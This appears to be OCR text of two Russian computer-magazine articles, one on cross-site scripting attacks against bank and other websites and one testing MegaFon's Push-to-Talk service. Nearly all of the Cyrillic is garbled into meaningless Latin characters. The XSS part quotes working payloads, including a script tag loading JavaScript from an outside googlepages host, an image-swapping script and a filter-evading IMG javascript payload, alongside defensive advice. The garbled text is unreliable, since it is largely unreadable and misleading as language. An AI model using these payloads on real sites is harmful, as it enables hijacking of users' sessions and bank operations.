AHMBie n0JIB30BaTeJieM. noaTOMy XaKep CMOT BCTaBHTB B (J)op- 


Myjiap cboh Ter, h eMy aocTaTOHHo 6 buio mejiKHyTB no KHonKe 
«HaHTH», HTOdbl BHeapHTB CKpHHT b cam Ha CTpaHnue c 
pe3yjiBTaTaMH noHCKa BMecTO «Bbi HCKajin: [noHirrae] 

Pe3yjiBTaTBi:» nouBHjiacB Haanncb «Bbi HCKajin Pe3yjiBTaTBi». 
Java-CKpHnT 6 bui aBTOMaTiwecKH BCTaBjieH BMecTO hckomoto 
noHHTHa, h 6pay3ep HeMeaJieHHO bbihojihhji ero. nocae 3 toto 
xaKepy ocTaBajiocb CKonHpoBaTB ccbuiKy cTpaHHHbi c pe3yjib- 
TaTaMH noHCKa H3 aapecHoii ctpokh b coodiaemie, aapeco- 
BaHHoe M. Hto6bi npOBepHTB oto, mbi bboahm b CTpoicy 
noHCKa 6e3o6HaHBiii tckct « t ;-“<XSS>=&{()}» (tpiok, koto- 
pbiii mbi noacMOTpejin y xaKepOB). H chmbojibi «<XSS», noa- 
BHBnmeca b hcxoahom Koae daHKOBCKoro cairn, noaTBepacaa- 
iot ero ya3BHMOCTB ana Kpocc-caHT-CKpHnraHra. 

Ha hto ace noBjinan xaKepCKHH Java-CKpHnT? Hto6bi bbihc- 
HHTB 3TO, OTKpBiBaeM (JiaHH H BHHMaTeHBHO aHajiH3HpyeM 
ero. Pe3yaBTaT: Jaya-CKpnnT HanncaH TaK, hto6bi kohtpo- 
jiHpoBaTB onepaijHH rocnoaHHa M. Ha daHKOBCKOM caftTe. 
npn nepBOH ace nonbrnce nepeBecm aeHbm xaKep 3a6aoKH- 
pOBaa nocbiaKy Koaa TAN h 3anpocHji y rocnoaHHa M. 
hobbih koa. nocae ototo, HMea HOMep caeTa, PIN h TAN, 
xaKep mot cnoKOHHO coBepmaTB noKynKH. Baaroaapa 


oiEflnEPBbm 


| ] m>cbJ*kngldaftioFar,de~ 


BCC r f 


Jr 

Jr 


ErtrefF: 


JJetrt i^ewi-inen> 


Sehr g.eehrte Kundin, 
sfthr geehitcr Kunde, 

wir frfttiftn ims Ihnen mitteiien zu dOiftn, dass unser groGts Weihnachtsgtwinnspiftl 
bald startet MeJ dgn Sie sich j eg an uod gewmnen Sie einen von 
100 toflen 


Mit freundbehen GruDen, 
Ike TUV Slid 


http : //www ■ tue 1 v-sued . de/suche?l : unc= view&wid= 1 008danguages=German&tquery= =%3C%73%63%72%69%70%74%2 1 


></script>| 


. googlep ages . com/ ha 1 J 


COOBUlEHME-MCKVCMTEJlb 

XSS-xaxep 38 MaHMBaeT cbok) ixepTBy c noMombK) cneuMaabHO noaro- 
TOB/ieHHOM ccbuiKii. 3 a URL CKpbiBaeica 3amnc|]poBaHHbiM BpeAOHOCHbm 
Java-CKpwnT 
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TOMy hto rocno^HH M. b noflxcwmjHii ajih 3 JioyMbinuieHHH- 
Ka MOMeHT B 0 CII 0 JIB 30 BaJICH CBOHM CHeTOM, TOT CMOT y 3 HaTB 
Heo6xoAHMBie daHKOBCKHe ^aHHbie. 

Kax 3auiMTMTb Be6-caMT 

CoBpeMeHHBie anracliHmHHroBbie cjiHjibTpbi 6eccHibHbi npo- 
thb Kpocc-caftT-CKpHnTHHra. CymecTByeT cjihihkom mhoto 
B 03M03CH0CTeH MaHHIiyjIHpOBaTB C0^ep3CaHHeM Be6-CaHTOB. 
IlOJIOXeHHe OCJTO>KHHeTCH TeM, HTO nOA 06 Hbie aTaKH npOH3 BO- 
jihtch Ha BnojiHe HaaoKHbix c Bnny cairrax 6aHKax hjih b 
HHT epHeT-Mara3HHax. 3aecb mo>kho aaTb tojibko o^hh cobct: 
He uxejTKaHTe no CTpaHHbiM ccbuixaM — aa>xe b Tex cjiynanx, 
Koraa peHb naeT o HTTPS-canrax. B kohchhom cneTe 6e30- 
nacHOCTb HaBHrauHH b HHTepHeTe 3aBHCHT tojibko ot Be6- 
MacTepa. Hmchho oh acmaceH 3amnTHTb nojin BBoaa, KOTOpbie 
ecTb Ha cairre, ot bo 3 mojkhbix MaHHnyjiimHH . B naeajibHOM 


CJlEfl BTOPOM 





<td T&ldgii="tap" widths ”2 "X/td> 

<td » all ** t op "X input iaa>tLenfjtlt^ rr 255'" )MMe» ff Cluery ' 1 
I s tylfis T > cur sc r : t e x t } fnnr.~si x: m i dt h j 4 QO mt j b aekar ound- co loX| ft FFFFFF; » 

I type=± '"text , ** valiie= j j< script src s "http : / / plet rer * coccrie pages * cam/hal lo * js"></ 
Iscripo 1 /x/td> 



I Suchen Ansicht Format Werfcjeuge HTML Bnstelungan =enster Hilf e 


. h i , •*. n <•> -j »;ti: x ■? i \m& a a - - « 


for (v ax i-Q; i document. images, length; ++i){ 

if ( document . images [ i] . src== "http : / / uww . tuev-suedk de/extras/ styles/ tuev_i nternet/|.mi 
do c u me nt . images [ i] »3EC”"http ; // p let aer.googJ-epages. com/ hallo , jpg"; 


HTML-TPHJKM 


Hepe3 none noncxa xaKepcKiin cxpnm BCTpaneaeTCfi b cain n BbinojiHaeTca 6pay3epoM. 
Ha pncyHKe - npmviep 6e3o6njoiHoro cxpnma Ana 3aMeHbi n3o6paweHWfl 


cjiynae jxim ototo Heo 6 xojiHMO 3anpeTHTb bboa Jiio 6 bix chmbo- 
jiob, KpOMe 6 yKB h lineup. CneiiHajibHbie chmbojibi, HanpHMep 
yrjiOBbie cko 6 kh < >, 6pay3ep MOxeT npHHHTb 3a cjiparMeHT 
nporpaMMHoro Kona — h BbinojiHHTb onacHbin Java-CKpHnT. 

TeMHaa CTopoHa 6pay3epoB 

O^HaKO 3HaxoMCTBo c xaxepCKHM apceHajiOM noKa3biBaeT, 
HTO npOCTO OT(J)HJIbTpOBaTb Java-KO^bl HeAOCTaTOHHO. flejio 
b tom, hto j\im BbinojiHeHHii Java-CKpnnTOB He o6n3aTejib- 
ho Tpe6yeTCB HTML-KOMaH^a «<script>». CKpnnT MO^ceT 
6 bitb BbinojiHeH ApyrHM nyTeM, HanpHMep c noMontbio 
Tera «<img>», kotopbih o 6 bihho Hcnojib3yeTCH j\jm BCTaBKH 
b Be6-caHT rpac[)HHecKHx o6i>eKTOB. KoMaH^a «<IMG 
S RC =j AVascriPt : alert ( String . fromCharCode (88, 83, 83)) » 
BbinojiHHeTcn h b Opera 9.02, h b Internet Explorer 6. OHa 
no3BOJiHeT o 6 ohth cpa3y hcckojibko cjiHjibTpoB, noTOMy hto 
b Hen HeT cneitHajibHbix chmbojiob, a ecTb jihuib nocjiettOBa- 
TejibHOCTb nponncHbix h ctpohhbix 6yKB. KpOMe toto, 3Ta 
KOMaH^a He HMeeT 3aKpbiBaiomeH yrjioBoii ckoGkh. IIpHHHHa 
toto, hto OHa BbinojiHueTCii 6pay3epaMH, 3aKjnonaeTC5i b hx 
TOJiepaHTHOCTH k OHHidKaM. MHorne caftTbi cottepxaT 
HenpaBHjibHbie HTML-Tem, TpedyiontHe KOppeiaiHH onm- 
6 ok, nooTOMy pa3pa6oTHHKH 6pay3epOB 6 bijih BbiHyacAeHbi 
HeMHoro CMnmHTb cboh npaBHjia. Ho npeHMymecTBO rjvi 
nojib30BaTejiH npeBpaTHjiocb b cjiaKTOp pHCKa. 

Mrpbi c 6e3onacHOCTbH> 

fleiiCTBHTejibHO, MHorne caiiTbi noaBep>KeHbi pHCKy aTaK XSS. 
HeKOTOpbie Be6-MacTepa na>xe He HMeiOT nomiTHn o bo 3 mo>k- 
hbix AMpax. ^pyme HaMepeHHo HraopHpyiOT cjiadbie MecTa. 
Tot, kto BOBpeMn He jiHKBHAHpyeT Taicne jia3enKH, CTaBHT 
no# yrp03y 6e3onacHOCTb CBoero caiiTa, 
a aaoflHO h ero noceTHTejieH. Kor^a 
Ha tojiobhom MejKAyHapottHOM caiiTe 
Hainero xypHajia www.chip.de 6buia 
OTKpbITa B03M03CH0CTB RJW XSS -aTaKH, 
nporpaMMHCTbi HeMettJieHHO 3ajiaTajin 
Abipy. Bjiarottapn hx nocjiettyiomeH 
npoBepKe h peKOMeH^aitHUM 3aKpbuiH 
jia3eHKH b CBoeir 3antHTe ttaxe Taicne 
HMeHHTbie KOMnaHHH KaK Apple hjih 
Spiegel Online. 

3 thm He HcnepnbiBaiOTCii Bee HOBbie 
onacHOCTH b HHTepHeTe: xaxepbi 
nocTOHHHO npH^yMbiBaiOT cnoco6bi 
HanatteHHH. nottpodHee 06 otom — b 
cjiettyiOHteH cepnn «CSI: HHTepHeT». 
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flBa rofla Ha 3 afl CHIP y>Ke nwcaji o TexHOJiorMM PTT, oflHaKO Torfla HaM npmwiocb orpaHM- 
HMTbCsi TeopweM. C 2007 ro,qa yc/iyra Push-to-Talk .qocTynHa b MocKBe m neiepOypre b ce™ 
«Meracf)OH», 1/1 Mbi pewi/mw npoBepmb, KaK OHa cfjyHKLji/iOHi/ipyeT Ha npaKTi/iKe. 


B 3T0M CTaTbe 

KaK pa6oTaeT Push-to-Talk? 
Hto npefl/iaraeT «Merac[)OH»? 
TecTMpoBaHMe yc/iyri/i PTT 
Te/iecjDOHbi c PTT 


PUSH-TO-TALK OVER CELLULAR 


Peib b BMfle naKeTOB 

AaHHbIX 


CHauajia mbi o6bhchhm oahh TepMHHO- 
jiornuecKHH Bonpoc, kotopbih MOxeT 
c6hTB C TOJIKy HaHHHaiOmHX paAHCTOB. 

fljiH o6o3HaueHHH TexHOJiomH nepeaa- 
hh rojioca b pexcHMe paijnn b cotobbix 
C eTUX 06 bIHH 0 HCnOJIB3yiOT TepMHH 
Push-to-Talk (PTT), 6yKBajiBHO 03Ha- 
uaiontHH «Ha3CMH h roBOpH». OaHaKO 
npaBHjiBHee 6yaeT ynoTpeGjiHTB a66pe- 
BuaTypy PoC (Push-to-Talk over 
Cellular) — 3 tot TepMHH HcnojiB3yiOT 
nocTaBiuHKH o6opyttOBaHHH. Ecjih bbi 
3 aH#eTe, HanpHMep, Ha caiiT KOMnaHHH 
Nokia, to b TexromecKHx xapaxrepHC- 
THKaX TeJie(J)OHOB BCTpeTHTeCB HMeH- 

ho c TaKHM o6o3HaueHHeM. flaHHoe 
Ha3BaHHe npHnuio H3 MHpa nopTaTHB- 
HBIX paflHOCTaHIJHH — TaM TepMHH PTT 
HcnojiB3yeTCH aJin o6o3HaueHHH cne- 


itnajiBHOH KHonKH «Push to talk key» 
(PTT key): Haxaji — tobophihb, OTnyc- 
thji — cjiyniaeniB. 

OaKTHuecKH mo6hjibhbih Tejie(J)OH b 
pexHMe Push-to-Talk pa6oTaeT tohho 
T ax ace, xax h paitHH — cbh3b npn otom 
nojiyuaeTCH CHMnjieKCHan, to ecTB oaHO- 
CTOpOHHHH: pa3TOBapHBaTB MOXCHO TOJIB- 
ko no onepean. Eojiee toto, b cjiyuae c 
BapnaHTOM nepeaaun rojioca b cotobbix 
ceTHx aaace HaGjnoaaeTcn HeKHH npo- 
rpecc no cpaBHeHHio c o6bihhbimh paitn- 
mh, ho noapo6Hee 06 3 tom 6yaeT cxa- 
3aHO UyTB T 103 RHQQ. 

HTaK, xax ace pa6oTaeT TexHOJioraH 
Push-to-Talk? B OTjiHune ot TpaauHuoH- 
hbix TejiecpoHHBix pa3roBopoB 3aecb peHB 
nepeaaeTca b bh ae naKeTOB aaHHbix — 
nepe3 naxeTHoe coeaHHeHHe GPRS hjih 
EDGE. npOHCXOAHT 3TO B 6yKBaJIBHOM 
CMBicjie Ha jieTy: TejiecpOH b peacHMe 
peajiBHoro BpeMeHH npeo6pa3yeT peuB b 
naKeTBi aaHHbix h OTnpaBjineT nx b ceTB. 
B cera aaHHbie nojiyuaeT cneitnajiBHbiH 
BbmejieHHbin cepBep, kotopbih OTBeuaeT 
3a flajiBHenniee pacnpeaejieHne 3thx 
caMbix naKeTOB — oh OTnpaBjineT nx oa- 
HOMy a6oHeHTy hjih cpa3y hcckojibkhm, 
ecjin bbi BeaeTe pa3TOBOp c rpynnon co6e- 
ceaHHKOB. B OTjinnne ot TpaananoHHoro 
TejiechoHHoro pa3TOBOpa coeanHeHne PTT 
ycTaHaBjiHBaeTcn noura mthobchho, hto 


aejiaeT cncTeMy naeajiBHon juw kopotkhx 
onepaTHBHBix neperoBopOB, opHenrapo- 
BaHHBix Ha KOOpanHaitnio KaKnx-jin6o 
aencTBnn. npn 3 tom Push-to-Talk pa6o- 
TaeT b poyMHHre, n, hto HeMajiOBaacHO, 
aonojiHHTejiBHBix pacxoaoB Ha Me^ayro- 
poaHioio hjih MexayHapoaHyio cbh3b 
hhkto H3 a6oHeHTOB He HeceT, n6o naKe- 
TaM aaHHBix no IP-ceTH, no 6ojiBinoMy 
cueiy, Bee paBHO, Kyaa nara. 

IlepeaaiOTcn naKeTBi c noMontBio RTP 
(Real-Time Transport Protocol) — TpaHC- 
nopTHoro npOTOKOJia peajiBHoro BpeMe- 
HH, cjiyacaujero aJin aocTaBKn noTOKO- 
Boro ayano n Bnaeo. B OTjinnne ot TCP 
npOTOKOJi RTP noaaepxnBaeT mhoto- 
aapecHyio nepeaauy. BaacHBiM npenMy- 


1*1 ill r* BbIBOfl 

CepBMc Push-to-TaLk over 
Cellular — nojie3Han m bo mhotmx 
OTHO iaeH mux npMB/ieKaie/ibHafl yc- 
jiyra onepaiopa «Meracf)OH», ho 
noKa hto cjimiiikom aoporan. KaK 
TO/ibKO onepaiop o6bhbmt o ch M>K e- 
hmm peH b cbh3m c nepexoAOM Ha 
TOHKy aocTyna GPRS, Mbi peKOMeH- 
AyeM Bocno^b30BaTbcn 3 tom bo 3- 
MOIKHOCTbK) M BJ1 MTbCfl B p^Abl COTO- 
BblX paAMCTOB. 


s±\ 
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mecTBOM TexHOJiorHH Push-to-Talk 

HBJHieTCil B03M03CH0CTB OAHOBpeMeHHOH 
CBH3H cpa3y c HecKOJiBKHMH aApecaTa- 
mh: b cjiyuae o 6 biuhoto Tejie(J)OHHoro 
pa3roBOpa rjisl 3 thx ijejieH npHnuioct 

6bl 3BOHHTB BCeM no OUepeAH H o6BeAH- 
HHTB a60HeHT0B B TaK Ha3BIBaeMyK) KOH- 
4>epeHij;HK) — c Hcnojn>30BamieM PTT 
3Toro a;e.JiaTB He npHAeTca. 


nPEI/IMyiHECTBA PTT 


roBopuM no onepeAM 


no cpaBHeHHK) c o 6 bihhoh paitHen y 
Push-to-Talk ecT b Asa cynjecTBeHHBix 
npeHMymecTBa: paccTOHHHe MeacAy a6o- 
HeHTaMH He HMeeT HHKaKoro 3HaueHHH, 
jihihb 6 bi ohh HaxoAHjiHCB b npeAejiax 
ACHCTBHH COTOBOH CeTH, B TO BpeMH KUK 
paitnn o6jiattaiOT orpaHHueHHOH «Aajn>- 
H060HH0CTBK)» (06BIHHO A O 5 km) — 3TO 
nepBoe; BTOpoe — pent nepeAaeTcn b 
itH(J>poBOM bh # e, hto o6ecneuHBaeT 
xoponiyio noMexoycTOHHHBOCTB no cpaB- 
HeHHK) c o 6 bihhoh aHajioroBoft paitHen. 

Ectb h TpeTte, MeHee oneBHAHoe npe- 
HMymeCTBO, O KOTOpOM TOace HeJIHIHHe 
6yAeT ynoMHHyTB. nocKOJiBKy mo 6 hjib- 
hbih Tejie4)OH Bee, xax npaBHjio, hocht 
c co 6 oh, to OTnattaeT hco 6 xoahmoctb 
HM eTB npH ce6e h annapaT, h paitmo. 
B KauecTBe ente oahoto npeHMymecTBa 
MOvKHO yKa3aTB Ha to, hto hhkto H 3 a6o- 
HeHTOB He nepeGHBaeT Apyr Apyra. Ecjih 
b o 6 bihhom scjmpe Ana uejiOBeKa HauHyr 

TOBOpHTB OaHOBpeMeHHO — nOJiyUHTCH 
Kama, a c noMontBio PTT Bee roBOpHT no 
ouepeAu: noKa He 3aKOHmm oahh yuacT- 
hhk rpynnti, penjiHKa Apyroro ikrqt 
CBoero uaca Ha cepBepe. 



GPRS/EDGE 


| OTnpaBJiflflCb b Typnoxofl no 
Tae)KHbiM TponaM, He 3a6biBaMTe 0 tom, hto PTT 
pa6oTaeT TOJibKO b 30He flewciBHB GPRS/EDGE 


«Merac()OH-MocKBa»: HacrpoMKM Push-to-Talk 


HacTpouKM GPRS-coeAMHeHMB: 

1 APN = wap; 

2 mmb noBb30BaTe^H = SIP (b BepxHeM 
perncipe); 

3 napo/ib = SIP (b BepxHeM perncipe); 

4 npoKCM-cepBep He ncno/ib3yeTC5i 
(He 3ano/iHneTCfl). 

HacipoMKM K/iuema PTT: 

1 mma no/ib30BaTe/iH A-na K/ineHTa PTT = 
7926xxxxxxx, to ecTb yKa3biBaeTCH 
Te/iec|30HHbm HOMep a6oHeHTa b tskom 
cfiopMaTe (p,nn a6oHeHTOB c ropoACKMMM 
HOMepaMM — 7925xxxxxxx); 

2 napo/ib nnn K/iMeHTa PTT = SIP 
(b BepxHeM perMCTpe); 

3 AOMeH = megafonpro.ru; 

4 MMfl cepBepa PTT = poc.megafonpro.ru; 

5 06/iacTb = PoC Service C1.0 (b Hacrpon- 
Kax annapaTa TafOKe M0>KeT Ha3biBaTbCfl 
«06/iacTb PoC» — 30Ha http ayTeHTMc()MKa- 
i\m n/in realm). MoryT BCTpenaTbcn 
annapaTbi, b KOTopbix He npeA/iaraeTcn 


yKa3aTb 06/iacTb (KaK npaBwio, 3to K/ineHTbi 
PTT Bepcnn 1.5). fl/m Tex annapaTOB, b 
KOT opbix none «06/iacTb» ecrb, yKa3aHne 
o6fl3aTe/ibHo. Ec/im ee He HaAO nponncbmaTb, 
to, KaK c/ieACTBne, no^b30BaTe/iK) M0>KeT 
6biTb npeA/io>KeHO yKa3aTb MMii/napo/ib npn 
ycTaHOB/ieHMM coeAMHeHnu min >Ke CBA3b 
c PTT He 6yAeTycraH0BjieHa. 

OopMaTbi aflpecoB, Mcno/ib 3 yeMbie b PTT: 

1 aApec, KOHTaKT (a6oHeHTa) — 
sip:7926xxxxxxx@megafonpro.ru, rAe 
7926xxxxxxx — 3 to Te/iec|30HHbin HOMep 
a6oHeHTa (aha a6oHeHTOB c ropoACKMMM 
HOMepaMM — 7925xxxxxxx). HanpnMep, 
sip:79262032262@megafonpro.ru; 

2 aApec OTKpbiTOM rpynnbi — mmh_ 
rpynnbi&7926xxxxxxx@megafonpro.ru, rAe 
7926xxxxxxx — 3 to Te/iec|30HHbiM HOMep 
C03AaTeBH rpynnbi (abb a6oHeHTOB c 
ropoACKMMM HOMepaMM — 7925xxxxxxx). 
HanpnMep, flpy3bB&79262032262@ 
megafonpro.ru. 


CepBep, noAAepacHBaeMBin onepaTO- 
pOM COTOBOH CeTH, n03B0JI5ieT a60HeH- 
TaM co3AaBaTB rpynnBi, npocMaTpHBaTB 
CTaTyc Apyrnx nojn>30BaTejieH h t. a. — 
B HeKOTOpOM CMBICJie 3T0 OTAaJieHHO 
noxoace Ha KOHTaKT-jiHCT b Skype, xoth 
caMa CHCTeMa pa6oTaeT Ha 6a3e KOHKy- 
pHpyiomero CTaH^apTa SIP (Session 
Initiation Protocol). B cbh 3 h c 3 thm, 

KCTaTH, TeOpeTHHeCKH B03M03CHBI npH- 
MBie coeAHHeHHH Meayty a6oHeHTaMH 
COTOBBIX H SIP-CeTeH, XOTH Ha npaKTH- 
Ke tym 3 toto noTpe6yeTcn ycTaHaB- 
jiHBaTB Me^Ay hhmh MexceTeBtie 
mjii03Bi, hto onepaTOpaM, k coacajie- 
hhk), He HyacHO h He bbitoaho. 

nojiB30BaTejiK) ycjiyrn MoryT 6 bitb 
npncBoeHBi pa3JiHHHBie CTaTycbi: MeTKa 
«flocTyneH» Ao6aBjmeTcn b tom cjiyuae, 
ecjiH npHjioaceHne PTT Ha mo 6 hjibhom 
Tejie(j)OHe aKTHBHO h c a6oHeHTOM bo 3- 
Moamo ycTaHOBHTB coeAHHeHne. CTaTyc 
«He AOCTyneH» npHCBaHBaeTca, Kor^a 
npHjioaceHHe PTT He aKTHBHO, nojn>30- 
BaTejiB He 3apemcTpHpOBaH b ycjiyre hjih 
Ha AaHHBin MOMeHT y Hero ycTaHOBjieHO 

coeAHHeHne c ApyrHM a6oHeHTOM. npn 

nontiTKe ycTaHOBHTB coeAHHeHne c 
nojiB30BaTejieM, HaxoAHmnMCH b CTaTyce 
«He AOCTyneH», Ha 3KpaHe mo 6 hjibhoto 
Tejie(j)OHa HHHAHaTopa BBi30Ba OTo6pa- 
acaeTca HH(J)opMau;Ha o HeB03M0acH0CTH 

ycTaHOBjieHHa coeAHHeHira. CTaTyc «He 
6ecnoKOHTB» npHCBanBaeTca b tom cjiy- 


nae, ecjin y a6oHeHTa, HanpHMep, ycTa- 
HOBjieH peacHM «Be3 3ByKa». npn 
nontiTKe ycTaHOBHTB coeAHHeHHe c 
nojn>30BaTejieM, HaxoAamHMca b a^h- 
hom CTaTyce, Ha 3KpaHe mo 6 hjh>hoto 
T ejie(j)OHa HHHAHaTopa BBi30Ba OTo6pa- 
acaeTca HH(J)opMau;HH o HeB03M0acH0CTH 
ycTaHOBjieHHH coeAHHeHHa. 


HEflOCTATKM PTT 


Ben Hanewfla Ha EDGE 


KoHenHO ace, y Push-to-Talk HMeiOTca 
h BnojiHe oueBHAHBie HeAOCTaTKH. Bo- 
nepBBix, TexHOJiorHH pa6oTaeT tojibko b 
30He AeHCTBHH COTOBOH CeTH, n03T0My 
b noxoA no rjiyxHM TaeacHbiM jiecaM 
BCe-TaKH npHACTCH 6paTB c co 6 oh 
o6BiHHBie pau;HH. 

Bo-btopbix, KanecTBO ycjiyrn Hanpa- 
Myio 3aBHCHT ot pa6oTBi GPRS y one- 
paTopa, h ecjin coeAHHeHHe HecTa- 
GnjiBHoe, to Hnnero KpOMe KBaKaHBH h 
6yjIBKaHBH BBI He yCJIBIIHHTe. Hmchho 
no3TOMy caMH onepaTOpBi, KaK npaBH- 
jio, OTKpBiBaiOT Push-to-Talk tojibko 
nocjie 3anycKa cem EDGE — 3Ta Tex- 
hojiothh no KpanHen Mepe no3BOjmeT 
rapaHTHpOBaTB Hexyio MHHHMajiBHyio 
CKopocTB nepeAauH AaHHBix, AOCTaTou- 
Hyio AJin HOpMajiBHOH pa6oTBi ycjiyrn, 
xoth bo BpeMH neperpy30K cera Aaace 
OHa He CMoaceT HHueM noMOHB. 
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b coTOBbix Te/iecpOHax Motorola co6paHbi 
b pa3flejie «PTT Menu» 



PTT Service not available 


JUU 


PTT Contacts 


PTT SERVICE NOT AVAILABLE 


| - nORBJ16HN6 
TaxoM HaflnMCii osHawaeT, hto Bbi Bbiwmi M3 
30Hbl A6MCTB11R CepBMCa PTT 


B-TpeTtHx, Rjm pa6oTBi Push-to-Talk, 
KaK HH 6aHaJILHO 3TO np03ByUHT, Tpe- 
6yeTC5T noaaepJKKa 3toh TexHOJiorHH 
moGhjibhbim Tejie(J>OHOM. flo chx nop 
tojibko KOMnaHHH Nokia n Motorola 
aKTHBHo BHettpmoT noaaepxKy PTT b 
cboh HOBBie Mottejin. OcTaeTcn Haae- 
5TTBC5T, hto b OyaymeM cmyaitHH 6yzjeT 
pa3BHBaTBcn Tax xce, KaK n, HanpHMep, 
c MMS: CHanana TexHOJiormo noaae- 
pxcHBajin jihuib HeKOTOpBie annapaTBi, a 
cerottHir oHa CTajia MaccoBon. TeM 
6ojiee hto aJin peajm3aitnn Push-to- 
Talk AOCTaTOHHO nporpaMMHBix peine - 
hhh. HanpHMep, b CMapTc[)OHax Nokia 
AJin noaaepJKKH PTT cjieayeT ycTaHO- 
bhtb jihuib HeGojiBinyio yrajiHTy, koto- 
pyio moxho CKanaTB no aapecy http:// 
europe.nokia.com/A4143002. Xoth an- 
napaTHan peajin3aitnn c BBiacjieHHeM 
OTflejiBHon KHomcn Ha 6oxy TejiecjjOHa, 
KOHenHO xce, 6ojiee yaoOHa. 


«MErAOOH» 1/1 NOKIA 


TecnipyeM PTT 


TecTHpOBaHne hoboh ycjiyrn mbi npo- 
BottHjin coBMecTHO c CeBepo-3anaaHBiM 
(JinjinajiOM OAO «Mera(J)OH» c noMO- 
HJBIO Tpex CMapT(J)OHOB cepHH N OT 
KOMnaHHH Nokia. BooGiae, cjieayeT 
OTMeTHTB, hto «Mera(j)OH» mrraeT oco- 
6tie nyBCTBa k Nokia h ee CMapTcjio- 

HaM B HaCTHOCTH, aeMOHCTpHpyH 60JIB- 
niHHCTBO HOBBIX yCJiyT HMeHHO Ha 3TOM 
o6opyttOBaHHH. OaHaKO b aaHHOM cjiy- 
nae 3to cnpaBefljiHBO, BeaB Nokia aeftc- 
TBHTejiBHO 6Buia nepBOH KOMnaHnen, 
npeAJioxcHBineH TejiecfiOHBi c noaaepJK- 
KOH PTT B PoCCHH. 


THaK, mbi CHOBajin no CaHKT- 
neTep6ypry, nepHoannecKH HaxuMaa 
h yaepJKHBan KHonxy nocBuia BBi30Ba: 
HMeHHO TaK BKjHOHaeTcn yejiyra Push-to- 
Talk b ee nporpaMMHoii peajiH3an;HH, to 
ecTB Ha Tex CMapTcjjoHax, rae HeT anna- 
paTHOH KHonKH «PTT key». Ilepea TeM 
KaK BocnpoH3BecTH mohojiot co6eceaHH- 
Ka nepe3 rpoMKyio cbh3b, Tejiec[)OH H3aaeT 
KOpOTKyio TpejiB, hto6bi a6oHeHT ycneji 
noaHecTH Tpy6xy k yxy. flencTBHTejiBHO, 
KanecTBO penu OKa3ajiocB HeiuioxHM — 
6e3 noMex h mnneHim, Tax hto nojiB30- 
BaTBcn ycjiyroH moxcho c KOMcjjopTOM. 
HahTH MecTa c iuioxhm KanecTBOM noK- 
Pbithh GPRS/EDGE HaM He yaajiocB: 
ceTB jih6o ecTB, jih6o HeT, nooTOMy 
BBinaaeHHH (jjpeiiMOB 3ac})HKCHp0BaH0 
He 6bijio. JIhhib oahh pa3, b momcht Tax 
Ha3BiBaeMoro «xeHaoBepa» (nepeiaiioHe- 
HHH Mexay anyMH 6a30BBIMH CTaHLCHH- 
mh), penjiHKa coOeceaHHKa npepBajiacB 
Ha napy cexyHa. 

Ho caMoe HHTepecHoe — TecTHpoBaTB 
Push-to-Talk, HaxoaacB paaoM apyr c 
apyroM: B 3T0m Cjiynae HamnaHO BnaHBi 
Bee 3aaepxKH nepeaanH tojiocobbix coo6- 
meHHH. Ecjih b cjiynae c oGbihhoh paitn- 
eH OHH npOXOaHT HCKJIIOHHTeJIBHO B 
pexcuMe peajiBHoro BpeMeHH, to itHc[)po- 
boh cncTeMe Tpe6yeTcn HeKOTOpoe BpeMH 
Ha ycTaHOBKy coeaHHeHHH, noaTOMy 
aapecaT cjibiihht cooGiaemie xotb h b 
peaJIBHOM BpeMeHH, HO C HeKOTOpOH 
3aaepxcKon — nocjie toto KaK apyron 
a6oHeHT cjiaKTHuecKH HanHHaeT tobo- 
Phtb. 3aaep3CKa cocTaBjnieT b cpeaHeM ot 
1 ao 6 ceicyHa, hto, b oOnjeM, BnojiHe 
npneMjieMO. MHTepecHO, hto He Bee 
aapecaTBi cjiBimaT cooOmeHne oaHOBpe- 
MeHHo: ana Ka^aoro 3aaep>KKa pa3Han, 


HTO, BHaHMO, CBH3aHO C pa3HOH CKOpO- 

ctbk) BBiaejieHHH TaHM-cjioTOB noa aaH- 
HBie b ycjiOBHHx nojiHOiteHHO pa6oTaio- 
men ceTH, a He KaKoro-TO TecTOBoro 
cerMeHTa, rae 3aaepxeK, HaBepHoe, He 
6bijio 6bi BOBce. OaHaKO b jho6om cjiynae 
peHB cjibiihho noHTH cpa3y, h Ha yao6- 
ctbo pa3roBopa He6ojiBHiHe 3aaepxcKH 
HHKaK He BJIH5HOT. 


CTOi/iMOCTb yc/iyri/i 


KoneRKa TapntJ) 6epexceT 


OnBiTHBiM nyreM HaMH 6 bijio ycTaHOB- 
jieHO, hto oaHa ceKyHaa pa3TOBOpa 
3KBHBaJieHTHa npHMepHO OaHOMy KHJIO- 
6ahTy Tpa(j)HKa, to ecTB KoanpOBaHHe 
npOHexoaHT c 6HTpeiiTOM 8 k6ht/c, nero 
aJIH pa36opHHBOCTH peHH h y3HaBaeMoc- 
th rojioca BnojiHe aocTaTOHHO . TaKoii 
noTOK, no naee, aojixeH yKjiaaBiBaTBcn 
b oaHH TaiiM-cjiOT GPRS (13,4 k6ht/c), 
oaHaKO Ha npaKTHKe H3-3a HepaBHO- 
MepHoit CKopocm nepeaaHH naKeTOB 
CpeaHHH CKOpOCTB MOXCeT 6 bitb HHXe 
8 k6ht/c, noaTOMy h peKOMeHayeTcn 
ncnojiB30BaTB ceTB EDGE, b kotopoh 
3TO npOHCXOaHT 6BiCTpee. 

Hcxoan H3 pacxoaa Tpa(J)HKa, He TpyaHO 
nOaCHHTaTB, BO HTO 060HaeTCH o6nteHHe 
npn noMoniH Push-to-Talk. nocKOJiBKy 
TpacJiHK npoxoaHT HCKjiiOHHTejiBHO Hepe3 
TOHKy aocTyna GPRS -WAP, to 10 K6aHT 
ctoht 2 py6. 50 Kon. (oaHa ceicyHaa — 
25 KOn.). npH 3TOM Ha HeKOTOpBIX TapH(J)- 
hbix njiaHax «Mera<J)OHa» MHHyTa pa3- 
roBOpa BHyTpH ceTH ctoht 50 KoneeK. 
YaoBOJiBCTBHe nojiynaeTcn, mhtko tobo- 
pn, aoporoe: ropa3ao aemeBjie npocTO 
no3BOHHTB. OaHaKO «Mera(J)OH» iuiaHH- 
pyeT b ckopom BpeMeHH nepeBecTH 
Push-to-Talk Ha Touicy aocTyna GPRS- 
HHTepHeT! 3aeCB Tpa(J)HK 3HaHHTeJIBHO 
aemeBjie (68 KoneeK 3a 100K6aHT), neM 
pa3TOBapHBaTB o6bihhbim o6pa30M. TeM 
He MeHee cjieayeT hmctb b BHay TaKyio 
ocoGeHHOCTB, KaK OKpyrjieHne GPRS- 
ceccHH. Ecjih bbi nepeaajin oaHO-aea 
cooOiaeHHH h otkjhohhjihcb, to 3anjia- 
